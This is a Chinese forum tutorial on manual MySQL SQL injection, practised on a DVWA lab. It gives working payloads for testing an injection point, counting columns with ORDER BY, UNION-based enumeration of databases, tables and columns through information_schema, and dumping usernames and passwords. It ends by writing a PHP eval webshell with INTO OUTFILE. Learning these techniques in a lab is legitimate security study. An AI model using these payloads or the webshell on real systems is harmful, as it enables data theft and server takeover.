mysql手工注入总结

2017-12-07 11:46:31 36 8388

各位大佬。。。这篇文章是个人再练习注入的时候自己总结出来的一部分经验,步骤确实很简单,百度上面确实也能搜的到相关类似的,但关于文章中一些我个人的理解与总结部分肯定是搜不到的。菜鸟初来乍到,如果个人经验比较少或者说总结的不够深入,入不了各位大佬法眼,请各位大佬见谅。菜鸟还是需要不断学习进步,争取后续分享的文章能有更高的一个质量,能入的了各位大佬的眼。。。给各位大佬递茶。。。。


由于新人刚报道不久,大概浏览了一下论坛内的帖子,发现很多都是大佬们分型的工具,以及各种牛逼的渗透过程及思路记录。关于新人的一些简单入门点的资料好像不多(可能新人刚到,不太熟悉如何寻找资料,如果有误还请各位大佬不吝指教,请多多见谅,)。

这篇文章属于个人在学习sql注入时的一部分总结,后续的关于个人sql注入的总结文章也会陆续发出来。如果跟大佬的有重复或者有什么其他问题,请各位大佬及时指出{:6_430:} 。自评TCV=0.....

下面就是正文部分了。

基础知识

什么是SQL注入

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

引用OWASP上的定义,sql注入简单来说就是攻击者从客户端输入的恶意sql查询语句被服务器执行,从而攻击者可以读取/修改数据库中敏感信息、执行数据库管理员操作、甚至执行系统命令。

什么是Mysql

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件。

Mysql简单来说就是一个关系型的数据库管理系统,使用SQL语言来来存储数据,以及管理数据。

MySQL手工注入

SQL注入从注入的手法或者工具上分类的话可以分为:

  • 手工注入(手工来构造调试输入payload)
  • 工具注入(使用工具,如sqlmap)

下面主要讲解的是如何通过手工来显式注入MySQL数据库。说到显式注入,SQL又可以分为:

  • 显式注入
  • 盲注入

这两种分类的主要区别在于能否从页面上直接获取数据库信息。

手工注入流程

判断注入点

注入的第一步是得判断该处是否是一个注入点。或者说判断此处是否有SQL注入漏洞。最简单的判断方法就是在正常的参数后加单引号 '

http://192.168.0.111/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1'

如果页面显示了SQL的错误信息,进一步测试:

    1' or 1=1 --+

页面显示正常。再测试:

    1' and 1=2 --+

至此基本可以确定此处是一个SQL注入点,也就是说存在SQL注入漏洞。

判断查询的字段数

确定了注入点之后,就需要进行下一步的注入操作了。首先使用orderby子句来确定SQL语句查询的字段数量。orderby子句会根据sql查询结果的字段来排序,如果字段不存在则会报错。下面尝试输入order by 10 。

    1' ORDER BY 10 --+

发现页面报错,那么接下来尝试order by 9, 如果同样报错,则尝试order by 8,依次尝试下去,直到页面显示正常为止。

可以看到order by 2的时候页面显示正常,则说明查询语句只有2个字段。

确定回显位

确定了查询数据的位数,然后开始确定网页的回显位。回显位就是确定查询出来的数据是在网页上面的哪个位置显示出来。使用Union联合查询来确定回显位。

    1' and 1=2 union select 1, 2 --+

可以看到查询语句中的两个字段都在网页中显示了,分别在First name和 Surname位置上。

获取信息函数

下面就开始获取数据库信息了,常用的几个获取数据的函数分别是:

    user()      获取当前用户用户
    database()      获取当前数据库
    version()       获取数据库版本
    @@version_compile_os        获取操作系统版本

注入下列SQL语句可以查询出数据库当前用户,和当前数据库名。

    1' and 1=2 union select user(), database() --+

注入下列SQL语句,可以查询出数据库版本和当前操作系统版本。

    1' and 1=2 union select version(), @@version_compile_os --+

可以看到注入上面两条语句之后,当前用户、数据库名、数据库版本、操作系统等信息都已经得到了。

获取数据库名

MySQL5新增了一个information_schema结构,这个information_schema数据库中存储着MySQL管理的所有数据库的信息,如数据库名,表名,列名以及权限等等信息。所以可以利用information_schema来快速获取数据库中的表结构信息。常用的information_schema中的表有:

    schemata        (schema_name字段记录所有数据库信息)
    tables      (table_name记录表名,table_schema字段记录表所属的数据库信息)
    columns     (column_name记录列名,table_name记录列所属的表名,schema_name记录列所属的数据库名)

所以可以使用schemata表来获取所有数据库名:

    1' and 1=2 union select 1, SCHEMA_NAME  from information_schema.schemata --+

这条SQL语句是能够将所有数据库名查询出来,如果页面显示足够多的话是可以直接全部获取的。但是有些情况下,页面可能只会有一条回显记录,那么可以使用limit子句来分批获取所有数据库名。或者直接使用group_concat来一次性获取数据库信息。

    1' and 1=2 union select 1, group_concat(SCHEMA_NAME) from information_schema.schemata --+

使用group_concat就能很方便的在一条记录中查询出来所有数据库信息。

获取表名

获取到了数据库信息之后,找到目标数据库,然后开始获取表名信息。可以读取tables表中的table_name来获取。

    1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name='dvwa'+--+

表名需要使用'单引号包起来,或者使用16进制来表示:

    1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name=0x64767761+--+

获取列名

获取到了表名之后,下面来获取列名。同样通过information_schema的columns表获取。

    1' and 1=2 union select 1, COLUMN_NAME from information_schema.columns where table_name='users'+--+

表名同样可以使用十六进制表示。

获取数据

下面就开始获取表中的数据了,选择刚才获取的表中的user_id,user,password三列的数据。

    1' and 1=2 union select 1, group_concat(user_id,',user,',password) from users+--+

group_concat中间的'是用来分割数据显示的。

以上,就成功从数据库中获取了管理员账户信息。

写shell

上面获取管理员账号信息之后,就可以登录网页后台,从后台寻找上传点或者其他漏洞来往服务器上写入webshell。在知道服务器的物理地址的情况下,通过SQL语句来写入webshell通常是一种更快捷方便的方式。

    1' and 1=2 union select '<?php eval($_POST[shell]); ?>' INTO OUTFILE '/var/www/html/shell.php'+--+

执行成功之后,就能使用菜刀或者其他工具连接网页更目录下的shell.php文件了。

关于作者

评论36次

要评论?请先  登录  或  注册